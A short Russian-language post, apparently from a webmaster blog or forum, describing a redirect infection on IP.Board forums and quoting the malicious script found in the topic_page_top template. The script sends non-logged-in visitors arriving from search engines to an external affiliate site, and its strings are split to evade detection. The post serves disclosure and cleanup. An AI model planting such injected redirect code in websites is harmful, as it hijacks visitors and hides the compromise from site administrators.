Вирус редирект на IP.Board
Автор: Ph-A
· 1 210 просмотров
На одном форуме IPB 2.1.7 (но версия может быть любой) жаловались, что при переходе со ссылок с поисковиков, а так же с почтовой рассылке происходило переадресация на сторонний сайт. При условии, что данный пользователь в данный момент не авторизован на форуме.
Ситуация не самая частая. Чаще на такое попадаются гости, а администрация сайта остается не информированная.
Анализ того сайта, показал, что в шаблоне topic_page_top лежит скрипт:
<if="ipb.member['id'] <= 0"><script>function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location="http://tvoyarodoslovnaya.com/?wmid=1688&subid=3813"</s'+'cript>')}else{document.write('.')}}R();</script></if>
Посмотрел на поисковиках, этот форум не единственный, кто попал. Но подозреваю, что таких форумов гораздо больше.
-
4
Рекомендованные комментарии